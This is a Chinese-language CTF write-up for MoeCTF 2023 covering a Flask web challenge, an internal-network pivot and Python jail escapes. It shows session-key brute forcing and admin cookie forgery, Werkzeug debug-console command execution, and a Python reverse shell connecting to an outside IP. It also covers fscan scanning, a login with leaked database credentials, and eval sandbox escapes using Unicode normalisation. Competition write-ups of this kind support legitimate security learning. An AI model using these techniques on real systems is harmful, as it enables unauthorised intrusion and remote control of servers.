对于key,后面这一段考虑使用python脚本进行暴力枚举

app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()

对应的工具Flask-Unsign:https://github.com/Paradoxis/Flask-Unsign

我们可以自己生成一个对应的爆破字典,参考美团CTF2022的easypickle

import os
with open('dict.txt','w') as f:
	for i in range(1,100000):
		a="This-random-secretKey-you-can't-get" + os.urandom(2).hex()
		f.write("\"{}\"\n".format(a))

进行爆破

flask-unsign --unsign --cookie "eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6IjEyMzQ1NiJ9.ZSi0Og.Q3wqhZwMHiPvxIO4gJ8Tb7H6Tpc" --wordlist dict.txt

image-20231013112748767

得到密钥This-random-secretKey-you-can't-getb950

然后用flask-session-cookie-manager进行伪造

python3 flask_session_cookie_manager3.py encode -s "This-random-secretKey-you-can't-getb950" -t "{'power': 'admin', 'user': '123456'}"

image-20231013113247738

把这个session带回cookie里,可以发现多了几篇留言

image-20231013113352349

其中出现了pin码泄露138-429-604

那就可以进console调试模式命令执行了

import os
os.popen('ls /').read()
os.popen('cat /flag').read()

image-20231013113752504

得到前半段flag:moectf{Information-leakage-Is-dangerous!

外网的部分到此结束

内网部分(未完成)

读取readme

恭喜你通过外网渗透拿下了本台服务器的权限
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法,然后扫描内网的ip段
如果你进行了正确的操作,会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000)
注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务
对密码有疑问随时咨询出题人

反弹shell到vps(我这里用的是花生壳内网穿透弹shell):在线生成反弹shell命令https://www.ddosi.org/shell/

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("115.236.153.170",35940));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

在内网里拿到题目源码

app.py

from curses import flash
from flask import Flask, request, render_template, redirect, session, url_for, flash
import os
import dataSql
import datetime
from hashlib import md5

app = Flask(__name__)

app.template_folder = os.path.join("static/templates")
app.static_folder = os.path.join("static")

app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()


@app.route('/login', methods=['GET', 'POST'])
def login():
    if 'user' not in session:
        if request.method == 'GET':
            return render_template('login.html')
        username = request.form['user']
        password = request.form['password']
        if dataSql.canLogin(username, password):
            session['user'] = username
            session['power'] = dataSql.getPower(username)
            return redirect('/index')
        else:
            flash("username or password incorrect")
            return redirect('login')
    else:
        return '''<script>alert("You have already logged in.");window.location.href="/index";</script>'''

# change the password


@app.route('/change', methods=['GET', 'POST'])
def foundpwd():
    if request.method == 'GET':
        return render_template('changepwd.html')
    username = request.form['user']
    oldPassword = request.form['oldPassword']
    newPassword = request.form['newPassword']
    a = dataSql.changePassword(username, oldPassword, newPassword)
    if a == True:
        return '''
    change successfully
    <br>
    <a href='login'>login now</a>
    '''
    else:
        flash(a)
        return redirect('change')


# register for enter the message board
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    id = dataSql.usersName()
    username = request.form['user']
    password = request.form['password']
    power = 'guest'
    if dataSql.register(id, username, password, power):
        return '''
    register successfully
    <br>
    <a href='login'>login now</a>
    '''
    else:
        flash('username already exists')
        return redirect('register')


@app.route('/logout', methods=['GET'])
def logout():
    if 'user' in session:
        session.pop('user')
        return redirect('/login')
    else:
        return '''
    you are not logged in
    <br>
    <a href='login'>login now</a>
    '''


@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
def index():
    if 'user' in session:
        if request.method == 'GET':
            msg = getMsgList()
            if session['power'] == 'guest':
                for i in msg:
                    # remove the message send by other user on private condition
                    if i[3] == "1" and session['user'] != i[0]:
                        msg.remove(i)
            return render_template('index.html', username=session['user'], msg=msg)
        else:
            message = request.form['message']
            username = session['user']
            nowtime = str(datetime.datetime.now())
            if 'private' in request.form:
                private = 1
            else:
                private = 0
            if message == '':
                return '''<script>alert("invalid input");window.location.href="/index";</script>'''
            dataSql.uploadMessage(username, message, nowtime, private)
            return '''<script>alert("upload successfully");window.location.href="/index";</script>'''
    else:
        return redirect('/login')


@app.route('/delete', methods=['GET'])
def delete():
    if 'user' in session:
        psg = request.args.get('psg')
        msg = list(dataSql.showMessage())
        for i in range(len(msg)):
            h1 = md5()
            h1.update(str(msg[i][2]).encode(encoding='utf-8'))
            h2 = h1.hexdigest()
            if (msg[i][0] == session['user'] or session['power'] == 'root') and h2 == psg:
                dataSql.deleteMessage(msg[i][0], msg[i][2])
                return redirect('/index')
        return '''<script>alert("Permission denied");window.location.href="/index";</script>'''
    else:
        return '''<script>alert("login first");window.location.href="/index";</script>'''


@app.route('/index/api/getMessage', methods=['GET'])
def getMessage():
    username = request.args.get('username')
    password = request.args.get('password')
    if(username == None or password == None):
        return {'status': 'failed', 'message': 'invalid input'}
    elif(not dataSql.canLogin(username, password)):
        return {'status': 'failed', 'message': 'username or password incorrect'}
    elif(dataSql.canLogin(username, password)):
        msg = getMsgList()
        if dataSql.getPower(username) == 'guest':
            for i in msg:
                # remove the message send by other user on private condition
                if i[3] == "1" and username != i[0]:
                    msg.remove(i)
        return msg


def getMsgList():
    msg = list(dataSql.showMessage())
    for i in range(len(msg)):
        h1 = md5()
        h1.update(str(msg[i][2]).encode(encoding='utf-8'))
        msg[i] += tuple([h1.hexdigest()])
    return msg


if __name__ == '__main__':
    app.run(host = "0.0.0.0", debug=True, port=8080)

dataSql.py

import pymysql
import time
import getPIN

pin = getPIN.get_pin()

class Database:
    def __init__(self, max_retries=3):
        self.max_retries = max_retries
        self.db = None

    def __enter__(self):
        self.db = self.connect_to_database()
        return self.db, self.db.cursor()

    def __exit__(self, exc_type, exc_val, exc_tb):
        if self.db and self.db.open:
            self.db.close()

    def connect_to_database(self):
        retries = 0
        while retries < self.max_retries:
            try:
                db = pymysql.connect(
                    host="mysql",  # 数据库地址
                    port=3306,  # 数据库端口
                    user="root",  # 数据库用户名
                    passwd="The_P0sswOrD_Y0u_Nev3r_Kn0w",  # 数据库密码
                    database="messageboard",  # 数据库名
                    charset='utf8'
                )
                return db
            except pymysql.Error as e:
                retries += 1
                print(f"Connection attempt {retries} failed. Retrying in 5 seconds...")
                time.sleep(5)
        raise Exception("Failed to connect to the database after maximum retries.")

def canLogin(username,password):
    with Database() as (db, cursor):
        sql = 'select password from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            if res[0][0] == password:
                return True
        return False

def register(id,username,password,power):
    with Database() as (db, cursor):
        sql = 'select username from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            return False
        else:
            sql = 'insert into users (id,username,password,power) values (%s,%s,%s,%s)'
            cursor.execute(sql, (id,username,password,power))
            db.commit()
            return True

def changePassword(username,oldPassword,newPassword):
    with Database() as (db, cursor):
        sql = 'select password from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            if oldPassword == res[0][0]:
                sql = 'update users set password=%s where username=%s'
                cursor.execute(sql, (newPassword,username))
                db.commit()
                return True
            else:
                return "wrong password"
        else:
            return "username doesn't exist."

def uploadMessage(username,message,nowtime,private):
    with Database() as (db, cursor):
        sql = 'insert into message (username,data,time,private) values (%s,%s,%s,%s)'
        cursor.execute(sql, (username,message,nowtime,private))
        db.commit()
        return True

def showMessage():
    with Database() as (db, cursor):
        sql = 'select * from message'
        cursor.execute(sql)
        res = cursor.fetchall()
        res = [tuple([str(elem).replace('128-243-397', pin) for elem in i]) for i in res]
        return res

def usersName():
    with Database() as (db, cursor):
        sql = 'select * from users'
        cursor.execute(sql)
        res = cursor.fetchall()
        return len(res)

def getPower(username):
    with Database() as (db, cursor):
        sql = 'select power from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        return res[0][0]

def deleteMessage(username,pubTime):
    with Database() as (db, cursor):
        sql = 'delete from message where username=%s and time=%s'
        cursor.execute(sql,(username,pubTime))
        db.commit()
        return True

getPIN.py

import hashlib
from itertools import chain
import uuid
def get_pin():
    probably_public_bits = [
        'ctf'# username  /proc/self/environ
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    uuid1 = str(uuid.getnode())
    linux = b""

        # machine-id is stable across boots, boot_id is not.
    for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
        try:
            with open(filename, "rb") as f:
                value = f.readline().strip()
        except OSError:
            continue

        if value:
            linux += value
            break

    # Containers share the same machine id, add some cgroup
    # information. This is used outside containers too but should be
    # relatively stable across boots.
    try:
        with open("/proc/self/cgroup", "rb") as f:
            linux += f.readline().strip().rpartition(b"/")[2]
    except OSError:
        pass
    linux = linux.decode('utf-8')
    private_bits = [
        uuid1,
        linux,
    ]
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
                continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    num = None
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    rv=None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv

进入tools文件夹,获取主机ip地址172.21.0.3172.20.0.4

cd tools
hostname -i

然后用fscan扫描内网(好像下面那个ip才是内网)

./fscan -h 172.21.0.0/16
./fscan -h 172.20.0.0/16

image-20231013125143933

image-20231013125852572

排除网关地址,将得到的端口号从小到大排序并以 - 分割:22-3306-6379-8080,即我们下载的hint.zip的解压密码

解压

当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps``frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3

上面我们已经在dataSql.py中拿到了mysql数据库的密码The_P0sswOrD_Y0u_Nev3r_Kn0w

接下来就是搭建代理进行内网渗透了。。。

很好,我还是去买个vps吧,不然都不知道怎么挂代理。。。

总之挂完代理之后直接

mysql -u root -h vps地址 -P 6001 -p

输入一下上面得到的密码,然后直接找flag就行了

select * from flag

redis需要利用未授权访问漏洞进行提权:https://blog.csdn.net/FryhRx/article/details/124087653


Jail

Jail Level 0

print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
print('calc Answer: {}'.format(eval(user_input_data)))

没有过滤,直接命令执行即可

__import__('os').system('sh')

image-20231012124819188


Jail Level 1

print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
  print("Oh hacker! Bye~")
  exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

限制长度不能超过12,这样子eval逃逸绕过也用不了

那就breakpoint()进pdb模块

参考:https://c1oudfl0w0.github.io/blog/2023/06/07/python-jail/#level-2-5

breakpoint()

image-20231012125235808


Jail Level 2

print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>6:
  print("Oh hacker! Bye~")
  exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

长度限制到6,breakpoint()用不了,那就用help()

参考:https://c1oudfl0w0.github.io/blog/2023/06/07/python-jail/#level-3

image-20231012125636553


Jail Level 3

unicode编码绕过

import re
BANLIST = ['breakpoint']
BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
	print("Oh hacker! Bye~")
	exit(0)
if re.findall(BANLIST_WORDS, user_input_data, re.I):
	raise Exception('Blacklisted word detected! you are hacker!')
print('Answer result: {}'.format(eval(user_input_data)))

breakpoint()被ban了,help()也不会长度溢出

那么接下来就要考虑对breakpoint()编码绕过让它识别不到

获取碰撞unicode编码的脚本:

from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict

lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
    for i in range(0x110000):
        if normalize("NFKC", chr(i)) == char:
            dic[char].append(chr(i))
        if len(dic[char]) > 9:
            break
print(dic)

image-20231012231221722

里面取一个b来执行breakpoint()就行


Jail Level 4

python版本2.7

image-20231013102920883

没过滤直接打?


Jail Level 5(未完成)

print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
def func_filter(s):
  not_allowed = set('"'`bid')
  return any(c in not_allowed for c in s)
user_input_data = input("> ")
if func_filter(user_input_data):
  print("Oh hacker! Bye~")
  exit(0)
if not user_input_data.isascii():
  print("Sorry we only ascii for this chall!")
  exit(0)
print('Answer result: {}'.format(eval(user_input_data)))

ban了"',反引号,bid


Leak Level 0

globals()环境变量泄露

fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("| Options:
|   [V]uln
|   [B]ackdoor")
def func_filter(s):
  	not_allowed = set('vvvveeee')
  	return any(c in not_allowed for c in s)
while(1):
  	challenge_choice = input(">>> ").lower().strip()
  	if challenge_choice == 'v':
code = input("code >> ")
if(len(code)>9):
  	print("you're hacker!")
  	exit(0)
if func_filter(code):
  	print("Oh hacker! byte~")
  	exit(0)
print(eval(code))
  	elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_valid_key_into_remote):
  	print("Hey Admin,please input your code:")
  	code = input("backdoor >> ")
  	print(eval(code))
  	else:
print("You should select valid choice!")

Vuln中限制长度9,Backdoor无限制但是要key

我们先进Vuln,用globals()查看环境变量

image-20231013104636655

可以发现key的值

然后带上key去backdoor命令执行即可

image-20231013104818399


Leak Level 1

    fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
    print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
    def func_filter(s):
      not_allowed = set('moe_dbt')
      return any(c in not_allowed for c in s)
    print("| Options:
|       [V]uln
|       [B]ackdoor")
    while(1):
      challenge_choice = input(">>> ").lower().strip()
      if challenge_choice == 'v':
        code = input("code >> ")
        if(len(code)>6):
          print("you're hacker!")
          exit(0)
        if func_filter(code):
          print("Oh hacker! byte~")
          exit(0)
        print(eval(code))
      elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if(key == fake_key_into_local_but_vailed_key_into_remote):
          print("Hey Admin,please input your code:")
          code = input("backdoor >> ")
          print(eval(code))
      else:
        print("You should select valid choice!")

ban了m,o,e,d,b,t

可以直接用Jail Level 3的编码绕过进help()查看__main__得到key